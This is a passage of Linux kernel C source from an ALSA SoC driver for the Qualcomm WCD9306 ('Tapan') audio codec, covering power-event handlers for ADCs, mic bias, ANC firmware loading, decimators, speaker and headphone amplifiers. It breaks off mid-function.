slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX4", SND_SOC_NOPM, TAPAN_TX4, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX5", SND_SOC_NOPM, TAPAN_TX5, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
};
static int tapan_codec_enable_adc(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
u16 adc_reg;
u8 init_bit_shift;
dev_dbg(codec->dev, "%s(): %s %d\n", __func__, w->name, event);
if (w->reg == TAPAN_A_TX_1_EN) {
init_bit_shift = 7;
adc_reg = TAPAN_A_TX_1_2_TEST_CTL;
} else if (w->reg == TAPAN_A_TX_2_EN) {
init_bit_shift = 6;
adc_reg = TAPAN_A_TX_1_2_TEST_CTL;
} else if (w->reg == TAPAN_A_TX_3_EN) {
init_bit_shift = 6;
adc_reg = TAPAN_A_TX_1_2_TEST_CTL;
} else if (w->reg == TAPAN_A_TX_4_EN) {
init_bit_shift = 7;
adc_reg = TAPAN_A_TX_4_5_TEST_CTL;
} else if (w->reg == TAPAN_A_TX_5_EN) {
init_bit_shift = 6;
adc_reg = TAPAN_A_TX_4_5_TEST_CTL;
} else {
pr_err("%s: Error, invalid adc register\n", __func__);
return -EINVAL;
}
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
if (w->reg == TAPAN_A_TX_3_EN ||
w->reg == TAPAN_A_TX_1_EN)
wcd9xxx_resmgr_notifier_call(&tapan->resmgr,
WCD9XXX_EVENT_PRE_TX_1_3_ON);
snd_soc_update_bits(codec, adc_reg, 1 << init_bit_shift,
1 << init_bit_shift);
break;
case SND_SOC_DAPM_POST_PMU:
usleep_range(2000, 2010);
snd_soc_update_bits(codec, adc_reg, 1 << init_bit_shift, 0x00);
break;
case SND_SOC_DAPM_POST_PMD:
if (w->reg == TAPAN_A_TX_3_EN ||
w->reg == TAPAN_A_TX_1_EN)
wcd9xxx_resmgr_notifier_call(&tapan->resmgr,
WCD9XXX_EVENT_POST_TX_1_3_OFF);
break;
}
return 0;
}
static int tapan_codec_enable_aux_pga(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
dev_dbg(codec->dev, "%s: %d\n", __func__, event);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
WCD9XXX_BG_CLK_LOCK(&tapan->resmgr);
wcd9xxx_resmgr_get_bandgap(&tapan->resmgr,
WCD9XXX_BANDGAP_AUDIO_MODE);
/* AUX PGA requires RCO or MCLK */
wcd9xxx_resmgr_get_clk_block(&tapan->resmgr, WCD9XXX_CLK_RCO);
WCD9XXX_BG_CLK_UNLOCK(&tapan->resmgr);
wcd9xxx_resmgr_enable_rx_bias(&tapan->resmgr, 1);
break;
case SND_SOC_DAPM_POST_PMD:
wcd9xxx_resmgr_enable_rx_bias(&tapan->resmgr, 0);
WCD9XXX_BG_CLK_LOCK(&tapan->resmgr);
wcd9xxx_resmgr_put_bandgap(&tapan->resmgr,
WCD9XXX_BANDGAP_AUDIO_MODE);
wcd9xxx_resmgr_put_clk_block(&tapan->resmgr, WCD9XXX_CLK_RCO);
WCD9XXX_BG_CLK_UNLOCK(&tapan->resmgr);
break;
}
return 0;
}
static int tapan_codec_enable_lineout(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
u16 lineout_gain_reg;
dev_dbg(codec->dev, "%s %d %s\n", __func__, event, w->name);
switch (w->shift) {
case 0:
lineout_gain_reg = TAPAN_A_RX_LINE_1_GAIN;
break;
case 1:
lineout_gain_reg = TAPAN_A_RX_LINE_2_GAIN;
break;
default:
pr_err("%s: Error, incorrect lineout register value\n",
__func__);
return -EINVAL;
}
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
break;
case SND_SOC_DAPM_POST_PMU:
wcd9xxx_clsh_fsm(codec, &tapan->clsh_d,
WCD9XXX_CLSH_STATE_LO,
WCD9XXX_CLSH_REQ_ENABLE,
WCD9XXX_CLSH_EVENT_POST_PA);
dev_dbg(codec->dev, "%s: sleeping 5 ms after %s PA turn on\n",
__func__, w->name);
/* Wait for CnP time after PA enable */
usleep_range(5000, 5100);
break;
case SND_SOC_DAPM_POST_PMD:
wcd9xxx_clsh_fsm(codec, &tapan->clsh_d,
WCD9XXX_CLSH_STATE_LO,
WCD9XXX_CLSH_REQ_DISABLE,
WCD9XXX_CLSH_EVENT_POST_PA);
dev_dbg(codec->dev, "%s: sleeping 5 ms after %s PA turn on\n",
__func__, w->name);
/* Wait for CnP time after PA disable */
usleep_range(5000, 5100);
break;
}
return 0;
}
static int tapan_codec_enable_spk_pa(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
dev_dbg(codec->dev, "%s: %s %d\n", __func__, w->name, event);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
tapan->spkr_pa_widget_on = true;
snd_soc_update_bits(codec, TAPAN_A_SPKR_DRV_EN, 0x80, 0x80);
break;
case SND_SOC_DAPM_POST_PMD:
tapan->spkr_pa_widget_on = false;
snd_soc_update_bits(codec, TAPAN_A_SPKR_DRV_EN, 0x80, 0x00);
break;
}
return 0;
}
static int tapan_codec_enable_dmic(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
u8 dmic_clk_en;
u16 dmic_clk_reg;
s32 *dmic_clk_cnt;
unsigned int dmic;
int ret;
char *srch = NULL;
srch = strpbrk(w->name, "1234");
if (srch == NULL) {
pr_err("%s: Invalid widget name %s\n", __func__, w->name);
return -EINVAL;
}
ret = kstrtouint(srch, 10, &dmic);
if (ret < 0) {
pr_err("%s: Invalid DMIC line on the codec\n", __func__);
return -EINVAL;
}
switch (dmic) {
case 1:
case 2:
dmic_clk_en = 0x01;
dmic_clk_cnt = &(tapan->dmic_1_2_clk_cnt);
dmic_clk_reg = TAPAN_A_CDC_CLK_DMIC_B1_CTL;
dev_dbg(codec->dev, "%s() event %d DMIC%d dmic_1_2_clk_cnt %d\n",
__func__, event, dmic, *dmic_clk_cnt);
break;
case 3:
case 4:
dmic_clk_en = 0x10;
dmic_clk_cnt = &(tapan->dmic_3_4_clk_cnt);
dmic_clk_reg = TAPAN_A_CDC_CLK_DMIC_B1_CTL;
dev_dbg(codec->dev, "%s() event %d DMIC%d dmic_3_4_clk_cnt %d\n",
__func__, event, dmic, *dmic_clk_cnt);
break;
default:
pr_err("%s: Invalid DMIC Selection\n", __func__);
return -EINVAL;
}
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
(*dmic_clk_cnt)++;
if (*dmic_clk_cnt == 1)
snd_soc_update_bits(codec, dmic_clk_reg,
dmic_clk_en, dmic_clk_en);
break;
case SND_SOC_DAPM_POST_PMD:
(*dmic_clk_cnt)--;
if (*dmic_clk_cnt == 0)
snd_soc_update_bits(codec, dmic_clk_reg,
dmic_clk_en, 0);
break;
}
return 0;
}
static int tapan_codec_enable_anc(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
const char *filename;
const struct firmware *fw;
int i;
int ret;
int num_anc_slots;
struct wcd9xxx_anc_header *anc_head;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
u32 anc_writes_size = 0;
int anc_size_remaining;
u32 *anc_ptr;
u16 reg;
u8 mask, val, old_val;
dev_dbg(codec->dev, "%s %d\n", __func__, event);
if (tapan->anc_func == 0)
return 0;
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
filename = "wcd9306/wcd9306_anc.bin";
ret = request_firmware(&fw, filename, codec->dev);
if (ret != 0) {
dev_err(codec->dev, "Failed to acquire ANC data: %d\n",
ret);
return -ENODEV;
}
if (fw->size < sizeof(struct wcd9xxx_anc_header)) {
dev_err(codec->dev, "Not enough data\n");
release_firmware(fw);
return -ENOMEM;
}
/* First number is the number of register writes */
anc_head = (struct wcd9xxx_anc_header *)(fw->data);
anc_ptr = (u32 *)((u32)fw->data +
sizeof(struct wcd9xxx_anc_header));
anc_size_remaining = fw->size -
sizeof(struct wcd9xxx_anc_header);
num_anc_slots = anc_head->num_anc_slots;
if (tapan->anc_slot >= num_anc_slots) {
dev_err(codec->dev, "Invalid ANC slot selected\n");
release_firmware(fw);
return -EINVAL;
}
for (i = 0; i < num_anc_slots; i++) {
if (anc_size_remaining < TAPAN_PACKED_REG_SIZE) {
dev_err(codec->dev, "Invalid register format\n");
release_firmware(fw);
return -EINVAL;
}
anc_writes_size = (u32)(*anc_ptr);
anc_size_remaining -= sizeof(u32);
anc_ptr += 1;
if (anc_writes_size * TAPAN_PACKED_REG_SIZE
> anc_size_remaining) {
dev_err(codec->dev, "Invalid register format\n");
release_firmware(fw);
return -ENOMEM;
}
if (tapan->anc_slot == i)
break;
anc_size_remaining -= (anc_writes_size *
TAPAN_PACKED_REG_SIZE);
anc_ptr += anc_writes_size;
}
if (i == num_anc_slots) {
dev_err(codec->dev, "Selected ANC slot not present\n");
release_firmware(fw);
return -ENOMEM;
}
for (i = 0; i < anc_writes_size; i++) {
TAPAN_CODEC_UNPACK_ENTRY(anc_ptr[i], reg,
mask, val);
old_val = snd_soc_read(codec, reg);
snd_soc_write(codec, reg, (old_val & ~mask) |
(val & mask));
}
release_firmware(fw);
break;
case SND_SOC_DAPM_PRE_PMD:
msleep(40);
snd_soc_update_bits(codec, TAPAN_A_CDC_ANC1_B1_CTL, 0x01, 0x00);
snd_soc_update_bits(codec, TAPAN_A_CDC_ANC2_B1_CTL, 0x02, 0x00);
msleep(20);
snd_soc_write(codec, TAPAN_A_CDC_CLK_ANC_RESET_CTL, 0x0F);
snd_soc_write(codec, TAPAN_A_CDC_CLK_ANC_CLK_EN_CTL, 0);
snd_soc_write(codec, TAPAN_A_CDC_CLK_ANC_RESET_CTL, 0xFF);
break;
}
return 0;
}
static int tapan_codec_enable_micbias(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
u16 micb_int_reg = 0, micb_ctl_reg = 0;
u8 cfilt_sel_val = 0;
char *internal1_text = "Internal1";
char *internal2_text = "Internal2";
char *internal3_text = "Internal3";
enum wcd9xxx_notify_event e_post_off, e_pre_on, e_post_on;
pr_debug("%s: w->name %s event %d\n", __func__, w->name, event);
if (strnstr(w->name, "MIC BIAS1", sizeof("MIC BIAS1"))) {
micb_ctl_reg = TAPAN_A_MICB_1_CTL;
micb_int_reg = TAPAN_A_MICB_1_INT_RBIAS;
cfilt_sel_val = tapan->resmgr.pdata->micbias.bias1_cfilt_sel;
e_pre_on = WCD9XXX_EVENT_PRE_MICBIAS_1_ON;
e_post_on = WCD9XXX_EVENT_POST_MICBIAS_1_ON;
e_post_off = WCD9XXX_EVENT_POST_MICBIAS_1_OFF;
} else if (strnstr(w->name, "MIC BIAS2", sizeof("MIC BIAS2"))) {
micb_ctl_reg = TAPAN_A_MICB_2_CTL;
micb_int_reg = TAPAN_A_MICB_2_INT_RBIAS;
cfilt_sel_val = tapan->resmgr.pdata->micbias.bias2_cfilt_sel;
e_pre_on = WCD9XXX_EVENT_PRE_MICBIAS_2_ON;
e_post_on = WCD9XXX_EVENT_POST_MICBIAS_2_ON;
e_post_off = WCD9XXX_EVENT_POST_MICBIAS_2_OFF;
} else if (strnstr(w->name, "MIC BIAS3", sizeof("MIC BIAS3"))) {
micb_ctl_reg = TAPAN_A_MICB_3_CTL;
micb_int_reg = TAPAN_A_MICB_3_INT_RBIAS;
cfilt_sel_val = tapan->resmgr.pdata->micbias.bias3_cfilt_sel;
e_pre_on = WCD9XXX_EVENT_PRE_MICBIAS_3_ON;
e_post_on = WCD9XXX_EVENT_POST_MICBIAS_3_ON;
e_post_off = WCD9XXX_EVENT_POST_MICBIAS_3_OFF;
} else {
pr_err("%s: Error, invalid micbias %s\n", __func__, w->name);
return -EINVAL;
}
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
/* Let MBHC module know so micbias switch to be off */
wcd9xxx_resmgr_notifier_call(&tapan->resmgr, e_pre_on);
/* Get cfilt */
wcd9xxx_resmgr_cfilt_get(&tapan->resmgr, cfilt_sel_val);
if (strnstr(w->name, internal1_text, 30))
snd_soc_update_bits(codec, micb_int_reg, 0xE0, 0xE0);
else if (strnstr(w->name, internal2_text, 30))
snd_soc_update_bits(codec, micb_int_reg, 0x1C, 0x1C);
else if (strnstr(w->name, internal3_text, 30))
snd_soc_update_bits(codec, micb_int_reg, 0x3, 0x3);
if (micb_ctl_reg == TAPAN_A_MICB_2_CTL) {
if (++tapan->micb_2_users == 1)
wcd9xxx_resmgr_add_cond_update_bits(
&tapan->resmgr,
WCD9XXX_COND_HPH_MIC,
micb_ctl_reg, w->shift,
false);
pr_debug("%s: micb_2_users %d\n", __func__,
tapan->micb_2_users);
} else
snd_soc_update_bits(codec, micb_ctl_reg, 1 << w->shift,
1 << w->shift);
break;
case SND_SOC_DAPM_POST_PMU:
usleep_range(20000, 20000);
/* Let MBHC module know so micbias is on */
wcd9xxx_resmgr_notifier_call(&tapan->resmgr, e_post_on);
break;
case SND_SOC_DAPM_POST_PMD:
if (micb_ctl_reg == TAPAN_A_MICB_2_CTL) {
if (--tapan->micb_2_users == 0)
wcd9xxx_resmgr_rm_cond_update_bits(
&tapan->resmgr,
WCD9XXX_COND_HPH_MIC,
micb_ctl_reg, 7,
false);
pr_debug("%s: micb_2_users %d\n", __func__,
tapan->micb_2_users);
WARN(tapan->micb_2_users < 0,
"Unexpected micbias users %d\n",
tapan->micb_2_users);
} else
snd_soc_update_bits(codec, micb_ctl_reg, 1 << w->shift,
0);
/* Let MBHC module know so micbias switch to be off */
wcd9xxx_resmgr_notifier_call(&tapan->resmgr, e_post_off);
if (strnstr(w->name, internal1_text, 30))
snd_soc_update_bits(codec, micb_int_reg, 0x80, 0x00);
else if (strnstr(w->name, internal2_text, 30))
snd_soc_update_bits(codec, micb_int_reg, 0x10, 0x00);
else if (strnstr(w->name, internal3_text, 30))
snd_soc_update_bits(codec, micb_int_reg, 0x2, 0x0);
/* Put cfilt */
wcd9xxx_resmgr_cfilt_put(&tapan->resmgr, cfilt_sel_val);
break;
}
return 0;
}
/* called under codec_resource_lock acquisition */
static int tapan_enable_mbhc_micbias(struct snd_soc_codec *codec, bool enable,
enum wcd9xxx_micbias_num micb_num)
{
int rc;
const char *micbias;
if (micb_num == MBHC_MICBIAS2)
micbias = DAPM_MICBIAS2_EXTERNAL_STANDALONE;
else
return -EINVAL;
if (enable)
rc = snd_soc_dapm_force_enable_pin(&codec->dapm,
micbias);
else
rc = snd_soc_dapm_disable_pin(&codec->dapm,
micbias);
if (!rc)
snd_soc_dapm_sync(&codec->dapm);
pr_debug("%s: leave ret %d\n", __func__, rc);
return rc;
}
static void tx_hpf_corner_freq_callback(struct work_struct *work)
{
struct delayed_work *hpf_delayed_work;
struct hpf_work *hpf_work;
struct tapan_priv *tapan;
struct snd_soc_codec *codec;
u16 tx_mux_ctl_reg;
u8 hpf_cut_of_freq;
hpf_delayed_work = to_delayed_work(work);
hpf_work = container_of(hpf_delayed_work, struct hpf_work, dwork);
tapan = hpf_work->tapan;
codec = hpf_work->tapan->codec;
hpf_cut_of_freq = hpf_work->tx_hpf_cut_of_freq;
tx_mux_ctl_reg = TAPAN_A_CDC_TX1_MUX_CTL +
(hpf_work->decimator - 1) * 8;
dev_dbg(codec->dev, "%s(): decimator %u hpf_cut_of_freq 0x%x\n",
__func__, hpf_work->decimator, (unsigned int)hpf_cut_of_freq);
snd_soc_update_bits(codec, TAPAN_A_TX_1_2_TXFE_CLKDIV, 0x55, 0x55);
snd_soc_update_bits(codec, tx_mux_ctl_reg, 0x30, hpf_cut_of_freq << 4);
}
#define TX_MUX_CTL_CUT_OFF_FREQ_MASK 0x30
#define CF_MIN_3DB_4HZ 0x0
#define CF_MIN_3DB_75HZ 0x1
#define CF_MIN_3DB_150HZ 0x2
static int tapan_codec_enable_dec(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
unsigned int decimator;
struct tapan_priv *tapan_p = snd_soc_codec_get_drvdata(codec);
char *dec_name = NULL;
char *widget_name = NULL;
char *temp;
int ret = 0, i;
u16 dec_reset_reg, tx_vol_ctl_reg, tx_mux_ctl_reg;
u8 dec_hpf_cut_of_freq;
int offset;
char *srch = NULL;
dev_dbg(codec->dev, "%s %d\n", __func__, event);
widget_name = kstrndup(w->name, 15, GFP_KERNEL);
if (!widget_name)
return -ENOMEM;
temp = widget_name;
dec_name = strsep(&widget_name, " ");
widget_name = temp;
if (!dec_name) {
pr_err("%s: Invalid decimator = %s\n", __func__, w->name);
ret = -EINVAL;
goto out;
}
srch = strpbrk(dec_name, "123456789");
if (srch == NULL) {
pr_err("%s: Invalid decimator name %s\n", __func__, dec_name);
return -EINVAL;
}
ret = kstrtouint(srch, 10, &decimator);
if (ret < 0) {
pr_err("%s: Invalid decimator = %s\n", __func__, dec_name);
ret = -EINVAL;
goto out;
}
dev_dbg(codec->dev, "%s(): widget = %s dec_name = %s decimator = %u\n",
__func__, w->name, dec_name, decimator);
if (w->reg == TAPAN_A_CDC_CLK_TX_CLK_EN_B1_CTL) {
dec_reset_reg = TAPAN_A_CDC_CLK_TX_RESET_B1_CTL;
offset = 0;
} else if (w->reg == TAPAN_A_CDC_CLK_TX_CLK_EN_B2_CTL) {
dec_reset_reg = TAPAN_A_CDC_CLK_TX_RESET_B2_CTL;
offset = 8;
} else {
pr_err("%s: Error, incorrect dec\n", __func__);
ret = -EINVAL;
goto out;
}
tx_vol_ctl_reg = TAPAN_A_CDC_TX1_VOL_CTL_CFG + 8 * (decimator - 1);
tx_mux_ctl_reg = TAPAN_A_CDC_TX1_MUX_CTL + 8 * (decimator - 1);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
for (i = 0; i < NUM_DECIMATORS; i++) {
if (decimator == i + 1)
tapan_p->dec_active[i] = true;
}
/* Enableable TX digital mute */
snd_soc_update_bits(codec, tx_vol_ctl_reg, 0x01, 0x01);
snd_soc_update_bits(codec, dec_reset_reg, 1 << w->shift,
1 << w->shift);
snd_soc_update_bits(codec, dec_reset_reg, 1 << w->shift, 0x0);
dec_hpf_cut_of_freq = snd_soc_read(codec, tx_mux_ctl_reg);
dec_hpf_cut_of_freq = (dec_hpf_cut_of_freq & 0x30) >> 4;
tx_hpf_work[decimator - 1].tx_hpf_cut_of_freq =
dec_hpf_cut_of_freq;
if ((dec_hpf_cut_of_freq != CF_MIN_3DB_150HZ)) {
/* set cut of freq to CF_MIN_3DB_150HZ (0x1); */
snd_soc_update_bits(codec, tx_mux_ctl_reg, 0x30,
CF_MIN_3DB_150HZ << 4);
}
/* enable HPF */
snd_soc_update_bits(codec, tx_mux_ctl_reg , 0x08, 0x00);
snd_soc_update_bits(codec, TAPAN_A_TX_1_2_TXFE_CLKDIV,
0x55, 0x44);
break;
case SND_SOC_DAPM_POST_PMU:
if (tapan_p->lb_mode) {
pr_debug("%s: loopback mode unmute the DEC\n",
__func__);
snd_soc_update_bits(codec, tx_vol_ctl_reg, 0x01, 0x00);
}
if (tx_hpf_work[decimator - 1].tx_hpf_cut_of_freq !=
CF_MIN_3DB_150HZ) {
schedule_delayed_work(&tx_hpf_work[decimator - 1].dwork,
msecs_to_jiffies(300));
}
/* apply the digital gain after the decimator is enabled*/
if ((w->shift + offset) < ARRAY_SIZE(tx_digital_gain_reg))
snd_soc_write(codec,
tx_digital_gain_reg[w->shift + offset],
snd_soc_read(codec,
tx_digital_gain_reg[w->shift + offset])
);
break;
case SND_SOC_DAPM_PRE_PMD:
snd_soc_update_bits(codec, tx_vol_ctl_reg, 0x01, 0x01);
cancel_delayed_work_sync(&tx_hpf_work[decimator - 1].dwork);
break;
case SND_SOC_DAPM_POST_PMD:
snd_soc_update_bits(codec, tx_mux_ctl_reg, 0x08, 0x08);
snd_soc_update_bits(codec, tx_mux_ctl_reg, 0x30,
(tx_hpf_work[decimator - 1].tx_hpf_cut_of_freq) << 4);
for (i = 0; i < NUM_DECIMATORS; i++) {
if (decimator == i + 1)
tapan_p->dec_active[i] = false;
}
break;
}
out:
kfree(widget_name);
return ret;
}
static int tapan_codec_enable_vdd_spkr(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct wcd9xxx *core = dev_get_drvdata(codec->dev->parent);
dev_dbg(codec->dev, "%s: %s %d\n", __func__, w->name, event);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
if (spkr_drv_wrnd > 0) {
WARN_ON(!(snd_soc_read(codec, TAPAN_A_SPKR_DRV_EN) &
0x80));
snd_soc_update_bits(codec, TAPAN_A_SPKR_DRV_EN, 0x80,
0x00);
}
if (TAPAN_IS_1_0(core->version))
snd_soc_update_bits(codec, TAPAN_A_SPKR_DRV_DBG_PWRSTG,
0x24, 0x00);
break;
case SND_SOC_DAPM_POST_PMD:
if (TAPAN_IS_1_0(core->version))
snd_soc_update_bits(codec, TAPAN_A_SPKR_DRV_DBG_PWRSTG,
0x24, 0x24);
if (spkr_drv_wrnd > 0) {
WARN_ON(!!(snd_soc_read(codec, TAPAN_A_SPKR_DRV_EN) &
0x80));
snd_soc_update_bits(codec, TAPAN_A_SPKR_DRV_EN, 0x80,
0x80);
}
break;
}
return 0;
}
static int tapan_codec_rx_dem_select(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
pr_debug("%s %d %s\n", __func__, event, w->name);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
if (codec_ver == WCD9306)
snd_soc_update_bits(codec, TAPAN_A_CDC_RX2_B6_CTL,
1 << 5, 1 << 5);
break;
case SND_SOC_DAPM_POST_PMD:
if (codec_ver == WCD9306)
snd_soc_update_bits(codec, TAPAN_A_CDC_RX2_B6_CTL,
1 << 5, 0);
break;
}
return 0;
}
static int tapan_codec_enable_interpolator(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
dev_dbg(codec->dev, "%s %d %s\n", __func__, event, w->name);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
snd_soc_update_bits(codec, TAPAN_A_CDC_CLK_RX_RESET_CTL,
1 << w->shift, 1 << w->shift);
snd_soc_update_bits(codec, TAPAN_A_CDC_CLK_RX_RESET_CTL,
1 << w->shift, 0x0);
break;
case SND_SOC_DAPM_POST_PMU:
/* apply the digital gain after the interpolator is enabled*/
if ((w->shift) < ARRAY_SIZE(rx_digital_gain_reg))
snd_soc_write(codec,
rx_digital_gain_reg[w->shift],
snd_soc_read(codec,
rx_digital_gain_reg[w->shift])
);
break;
}
return 0;
}
/* called under codec_resource_lock acquisition */
static int __tapan_codec_enable_ldo_h(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *priv = snd_soc_codec_get_drvdata(codec);
pr_debug("%s: enter\n", __func__);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
/*
* ldo_h_users is protected by codec->mutex, don't need
* additional mutex
*/
if (++priv->ldo_h_users == 1) {
WCD9XXX_BG_CLK_LOCK(&priv->resmgr);
wcd9xxx_resmgr_get_bandgap(&priv->resmgr,
WCD9XXX_BANDGAP_AUDIO_MODE);
wcd9xxx_resmgr_get_clk_block(&priv->resmgr,
WCD9XXX_CLK_RCO);
snd_soc_update_bits(codec, TAPAN_A_LDO_H_MODE_1, 1 << 7,
1 << 7);
wcd9xxx_resmgr_put_clk_block(&priv->resmgr,
WCD9XXX_CLK_RCO);
WCD9XXX_BG_CLK_UNLOCK(&priv->resmgr);
pr_debug("%s: ldo_h_users %d\n", __func__,
priv->ldo_h_users);
/* LDO enable requires 1ms to settle down */
usleep_range(1000, 1010);
}
break;
case SND_SOC_DAPM_POST_PMD:
if (--priv->ldo_h_users == 0) {
WCD9XXX_BG_CLK_LOCK(&priv->resmgr);
wcd9xxx_resmgr_get_clk_block(&priv->resmgr,
WCD9XXX_CLK_RCO);
snd_soc_update_bits(codec, TAPAN_A_LDO_H_MODE_1, 1 << 7,
0);
wcd9xxx_resmgr_put_clk_block(&priv->resmgr,
WCD9XXX_CLK_RCO);
wcd9xxx_resmgr_put_bandgap(&priv->resmgr,
WCD9XXX_BANDGAP_AUDIO_MODE);
WCD9XXX_BG_CLK_UNLOCK(&priv->resmgr);
pr_debug("%s: ldo_h_users %d\n", __func__,
priv->ldo_h_users);
}
WARN(priv->ldo_h_users < 0, "Unexpected ldo_h users %d\n",
priv->ldo_h_users);
break;
}
pr_debug("%s: leave\n", __func__);
return 0;
}
static int tapan_codec_enable_ldo_h(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
int rc;
rc = __tapan_codec_enable_ldo_h(w, kcontrol, event);
return rc;
}
static int tapan_codec_enable_rx_bias(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
dev_dbg(codec->dev, "%s %d\n", __func__, event);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
wcd9xxx_resmgr_enable_rx_bias(&tapan->resmgr, 1);
break;
case SND_SOC_DAPM_POST_PMD:
wcd9xxx_resmgr_enable_rx_bias(&tapan->resmgr, 0);
break;
}
return 0;
}
static int tapan_hphl_dac_event(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan_p = snd_soc_codec_get_drvdata(codec);
dev_dbg(codec->dev, "%s %s %d\n", __func__, w->name, event);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
snd_soc_update_bits(codec, TAPAN_A_CDC_CLK_RDAC_CLK_EN_CTL,
0x02, 0x02);
wcd9xxx_clsh_fsm(codec, &tapan_p->clsh_d,
WCD9XXX_CLSH_STATE_HPHL,
WCD9XXX_CLSH_REQ_ENABLE,
WCD9XXX_CLSH_EVENT_PRE_DAC);
break;
case SND_SOC_DAPM_POST_PMD:
snd_soc_update_bits(codec, TAPAN_A_CDC_CLK_RDAC_CLK_EN_CTL,
0x02, 0x00);
}
return 0;
}
static int tapan_hphr_dac_event(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan_p = snd_soc_codec_get_drvdata(codec);
dev_dbg(codec->dev, "%s %s %d\n", __func__, w->name, event);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
snd_soc_update_bits(codec, TAPAN_A_CDC_CLK_RDAC_CLK_EN_CTL,
0x04, 0x04);
snd_soc_update_bits(codec, w->reg, 0x40, 0x40);
wcd9xxx_clsh_fsm(codec, &tapan_p->clsh_d,
WCD9XXX_CLSH_STATE_HPHR,
WCD9XXX_CLSH_REQ_ENABLE,
WCD9XXX_CLSH_EVENT_PRE_DAC);
break;
case SND_SOC_DAPM_POST_PMD:
snd_soc_update_bits(codec, TAPAN_A_CDC_CLK_RDAC_CLK_EN_CTL,
0x04, 0x00);
snd_soc_update_bits(codec, w->reg, 0x40, 0x00);
break;
}
return 0;
}
static int tapan_hph_pa_event(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
enum wcd9xxx_notify_event e_pre_on, e_post_off;
u8 req_clsh_state;
u32 pa_settle_time = TAPAN_HPH_PA_SETTLE_COMP_OFF;
dev_dbg(codec->dev, "%s: %s event = %d\n", __func__, w->name, event);
if (w->shift == 5) {
e_pre_on = WCD9XXX_EVENT_PRE_HPHL_PA_ON;
e_post_off = WCD9XXX_EVENT_POST_HPHL_PA_OFF;
req_clsh_state = WCD9XXX_CLSH_STATE_HPHR;
} else if (w->shift == 4) {
e_pre_on = WCD9XXX_EVENT_PRE_HPHR_PA_ON;
e_post_off = WCD9XXX_EVENT_POST_HPHR_PA_OFF;
req_clsh_state = WCD9XXX_CLSH_STATE_HPHL;
} else {
pr_err("%s: Invalid w->shift %d\n", __func__, w->shift);
return -EINVAL;
}
if (tapan->comp_enabled[COMPANDER_1])
pa_settle_time = TAPAN_HPH_PA_SETTLE_COMP_ON;
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
/* Let MBHC module know PA is turning on */
wcd9xxx_resmgr_notifier_call(&tapan->resmgr, e_pre_on);
break;
case SND_SOC_DAPM_POST_PMU:
dev_dbg(codec->dev, "%s: sleep %d ms after %s PA enable.\n",
__func__, pa_settle_time / 1000, w->name);
/* Time needed for PA to settle */
usleep_range(pa_settle_time, pa_settle_time + 1000);
wcd9xxx_clsh_fsm(codec, &tapan->clsh_d,
req_clsh_state,
WCD9XXX_CLSH_REQ_ENABLE,
WCD9XXX_CLSH_EVENT_POST_PA);
break;
case SND_SOC_DAPM_POST_PMD:
dev_dbg(codec->dev, "%s: sleep %d ms after %s PA disable.\n",
